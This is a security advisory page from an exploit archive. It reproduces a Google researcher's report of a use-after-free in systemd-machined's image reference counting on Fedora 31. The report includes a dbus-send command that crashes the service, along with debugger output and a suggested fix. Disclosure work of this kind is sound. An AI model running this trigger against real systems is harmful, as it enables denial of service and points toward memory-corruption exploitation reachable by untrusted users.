exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

systemd-machined Incorrect Reference Decrement

systemd-machined Incorrect Reference Decrement
Posted Feb 7, 2020
Authored by Tavis Ormandy, Google Security Research

systemd has an issue in systemd-machined where it decrements the reference count when references are still held.

tags | exploit
SHA-256 | 61c6cbf275014763c6c3968d740672023ca6b09cb865c03cf57eb22ce22304c9

systemd-machined Incorrect Reference Decrement

Change Mirror Download
systemd: systemd-machined decrements reference count when references still held

I've been looking at the version of systemd shipped in Fedora 31 (approximately ef677436aa203c24816021dd698b57f219f0ff64)

I noticed that systemd-machined caches image objects, and uses reference counting to keep track of them. It removes a reference on error, but it still has a reference in the slot, and you can make it require it by requesting a reply.

For example, a remote non-admin can do this, and it is handled correctly (i.e. correctly denied):

$ dbus-send --system --dest=org.freedesktop.machine1 /org/freedesktop/machine1/image/_2ehost org.freedesktop.machine1.Image.Clone string:invalid boolean:false

But if we request a reply:

$ dbus-send --print-reply --system --dest=org.freedesktop.machine1 /org/freedesktop/machine1/image/_2ehost org.freedesktop.machine1.Image.Clone string:invalid boolean:false

Program received signal SIGSEGV, Segmentation fault.
0x0000556c14d58a69 in bus_image_method_clone (message=0x556c152db930, userdata=0x556c152dbcc0, error=0x7ffd8471c9b0) at ../src/machine/image-dbus.c:144
(gdb) p *image
$2 = {n_ref = 16843372, type = 16, name = 0x360000062b <error: Cannot access memory at address 0x360000062b>,
etc }

image has already hit zero references, and was released. Maybe this affects other objects as well.

I suppose the fix is to check the header for NO_REPLY_EXPECTED, and give it a second reference if not set, but the logic is complicated and maybe you prefer another way.

(To be clear, this is enabled by default on FC31 and accessible to remote, untrusted users)

Tavis.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.





Found by: taviso@google.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close